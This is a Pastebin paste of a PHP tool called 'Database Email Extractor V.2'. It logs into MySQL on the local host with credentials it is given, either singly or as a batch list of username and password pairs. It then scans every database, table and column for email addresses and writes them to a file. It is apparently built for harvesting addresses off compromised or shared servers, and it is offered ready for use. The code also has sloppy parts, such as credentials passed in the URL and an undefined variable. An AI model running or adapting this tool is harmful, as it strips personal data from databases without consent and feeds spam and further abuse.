ToKeiChun

Database Email Extractor V.2

Oct 2nd, 2019 (edited)
444
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.78 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. if($_GET['action'] == 'login'){
  5.     $con = mysql_connect('localhost',$_GET['u'],$_GET['p']);
  6.     if($con){
  7.         echo 'yes';
  8.         mysql_close($con);
  9.     }else{
  10.         echo 'no';
  11.     }
  12.     exit();
  13. }elseif($_GET['action'] == 'go'){
  14.     $f = go('localhost',$_GET['u'],$_GET['p'],$_GET['name']);
  15.     if(isset($_GET['b'])){
  16.         echo $f;
  17.     }else{
  18.         echo "<span class='red'>$f</span> Emails Founded. Check <span class='red'>".htmlspecialchars($_GET['name'])."</span> For Results.";
  19.     }
  20.     exit();
  21. }
  22.  
  23. echo '<!DOCTYPE html>
  24. <html>
  25. <head>
  26.    <title>Database Emails Extractor By SparkyDz</title>
  27.    <link href="http://fonts.googleapis.com/css?family=Racing+Sans+One" rel="stylesheet" type="text/css">
  28.    <script src="http://code.jquery.com/jquery-2.0.2.min.js"></script>
  29.    <script>
  30.    $(document).ready(function(){
  31.        $("#gogo").on("click",function(){
  32.            user = $("#username").val();
  33.            pass = $("#password").val();
  34.            name = $("#name").val();
  35.            if(user==""||pass==""||name==""){
  36.              window.alert("You must fill all fields");
  37.            }else{
  38.                $.get("?action=login&u="+encodeURIComponent(user)+"&p="+encodeURIComponent(pass),function(data){
  39.                    if(data=="no"){
  40.                        window.alert("Incorrect username Or password. Try Again.");
  41.                    }else{
  42.                        $("#forms").fadeOut(300,function(){
  43.                           $("#wait").fadeIn(300);
  44.                        });
  45.                        $.get("?action=go&u="+encodeURIComponent(user)+"&p="+encodeURIComponent(pass)+"&name="+encodeURIComponent(name),function(data){
  46.                            $("#wait").html(data);
  47.                        });
  48.                    }
  49.                });
  50.            }
  51.        });
  52.        $("#gog").on("click",function(){
  53.            accounts = $("#accounts").val();
  54.            name = $("#namee").val();
  55.            if(accounts==""||name==""){
  56.              window.alert("You must fill all fields");
  57.            }else{
  58.                $("#formmu").fadeOut(300,function(){
  59.                    $("#wait").fadeIn(300);
  60.                });
  61.                accounts = accounts.split("\n");
  62.                totalb = 0;
  63.                fail = 0;
  64.                done = 0;
  65.                for(i=0;i<accounts.length;i++){
  66.                    login = accounts[i].split(" ");
  67.                    $.get("?action=login&u="+encodeURIComponent(login[0])+"&p="+encodeURIComponent(login[1]),function(data){
  68.                        if(data=="yes"){
  69.                            $.get("?action=go&b=t&u="+encodeURIComponent(login[0])+"&p="+encodeURIComponent(login[1])+"&name="+encodeURIComponent(name),function(data){
  70.                                totalb += parseInt(data);
  71.                                done++;
  72.                                tt = done+fail;
  73.                                if(tt==accounts.length) donet(totalb,name);
  74.                            });
  75.                        }else{
  76.                            fail++;
  77.                        }
  78.                    });
  79.                }
  80.                
  81.            }
  82.        });
  83.        function donet(t,b){
  84.            $("#wait").html("<span class=\"red\">"+t+"</span> Emails Founded. Check <span class=\"red\">"+b+"</span> For Results.");
  85.        }
  86.        $("#si").on("click",function(){
  87.            $("#first").fadeOut(500,function(){
  88.                $("#forms").fadeIn(500);
  89.            });
  90.        });
  91.        $("#mu").on("click",function(){
  92.            $("#first").fadeOut(500,function(){
  93.                $("#formmu").fadeIn(500);
  94.            });
  95.        });
  96.    });
  97.    </script>
  98.    <style>
  99.    body{
  100.        margin: 0;
  101.        padding: 0;
  102.        font-family: "Racing Sans One", cursive;
  103.        background: #F3F3F3;
  104.        font-size: 16px;
  105.    }
  106.    #page{
  107.        margin: auto 25%;
  108.        margin-top: 10px;
  109.        background: #E6E6E8;
  110.        border: #BABABE solid 1px;
  111.        padding: 0;
  112.    }
  113.    #title{
  114.        margin: 0;
  115.        padding: 0;
  116.        text-align: center;
  117.        font-size: 30px;
  118.        border-bottom: #BABABE solid 1px;
  119.    }
  120.    #footer{
  121.        text-align: center;
  122.        border-top: #BABABE solid 1px;
  123.    }
  124.    #forms,#wait,#first,#formmu{
  125.        margin: 0;
  126.        padding: 10px 0;
  127.        background: #fff;
  128.    }
  129.    #wait,#forms,#formmu{
  130.        display: none;
  131.    }
  132.    #wait,#first{
  133.        text-align: center;
  134.    }
  135.    input,button,textarea{
  136.        background: #F3F3F3;
  137.        border: #BABABE solid 1px;
  138.    }
  139.    textarea:focus,textarea:hover,input:focus,input:hover,button:focus,button:hover{
  140.        background: #fff;
  141.    }
  142.    button{
  143.        padding: 10px;
  144.    }
  145.    .red{
  146.        color: red;
  147.    }
  148.    </style>
  149. </head>
  150. <body>
  151.    <div id="page">
  152.        <div id="title">Database Emails Extractor</div>
  153.        <div id="first">
  154.            <button id="si">Single</button><button id="mu">Multiple</button>
  155.        </div>
  156.        <div id="forms">
  157.        <table>
  158.            <tr><td>Username</td><td> : </td><td><input type="text" id="username" /></td></tr>
  159.            <tr><td>Password</td><td> : </td><td><input type="text" id="password" /></td></tr>
  160.            <tr><td>Save As</td><td> : </td><td><input type="text" value="list.txt" id="name" /></td></tr>
  161.            <tr><td></td><td></td><td><input id="gogo" type="submit" value="Extract!" /></td></tr>
  162.        </table>
  163.        </div>
  164.        <div id="formmu">
  165.        <table>
  166.            <tr><td>Accounts</td><td> : </td><td><textarea id="accounts" rows="10" cols="30">username password</textarea></td></tr>
  167.            <tr><td>Save As</td><td> : </td><td><input type="text" value="list.txt" id="namee" /></td></tr>
  168.            <tr><td></td><td></td><td><input id="gog" type="submit" value="Extract!" /></td></tr>
  169.        </table>
  170.        </div>
  171.        <div id="wait">
  172.            <img src="http://www.gibs.co.za/SiteResources/Images/Loading.gif" />
  173.        </div>
  174.        <div id="footer">SparkyDz <span class="red"></span>, FB: <span class="red">fb.com/SparkyDzx</span></div>
  175.    </div>
  176. </body>
  177. </html>';
  178. function go($host,$user,$pass,$file){
  179.     /*
  180.     author : G-B
  181.     email : fb/psycomiste.93
  182.     */
  183.     $con = mysql_connect($host,$user,$pass);
  184.     $fp = fopen($file,'a');
  185.     $count = 0;
  186.     $databases = getdata("SHOW DATABASES");
  187.     foreach($databases as $database){
  188.         $tables = getdata("SHOW TABLES FROM $database");
  189.         foreach($tables as $table){
  190.             $columns = getdata("SHOW COLUMNS FROM $database.$table");
  191.             foreach($columns as $column){
  192.                 $emails = getdata("SELECT $column FROM  $database.$table WHERE $column REGEXP '[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]'");
  193.                 foreach($emails as $email){
  194.                     if(filter_var($email, FILTER_VALIDATE_EMAIL)){
  195.                         if(eregi($email,file_get_contents($file))) continue;
  196.                         $count++;
  197.                         fwrite($fp,"$email\n");
  198.                     }else{
  199.                         foreach(preg_split("/\s/",$text) as $string){
  200.                             if(filter_var($string,FILTER_VALIDATE_EMAIL)){
  201.                                 if(eregi($string,file_get_contents($file))) continue;
  202.                                 $count++;
  203.                                 fwrite($fp,"$string\n");
  204.                             }
  205.                         }
  206.                     }
  207.                 }
  208.             }
  209.         }
  210.     }
  211.     fclose($fp);
  212.     mysql_close($con);
  213.     return $count;
  214. }
  215. function getdata($sql){
  216.     $q = mysql_query($sql);
  217.     $result = array();
  218.     while($d = mysql_fetch_array($q)){
  219.         $result[] = $d[0];
  220.     }
  221.     return $result;
  222. }
  223. ?>
Add Comment
Please, Sign In to add comment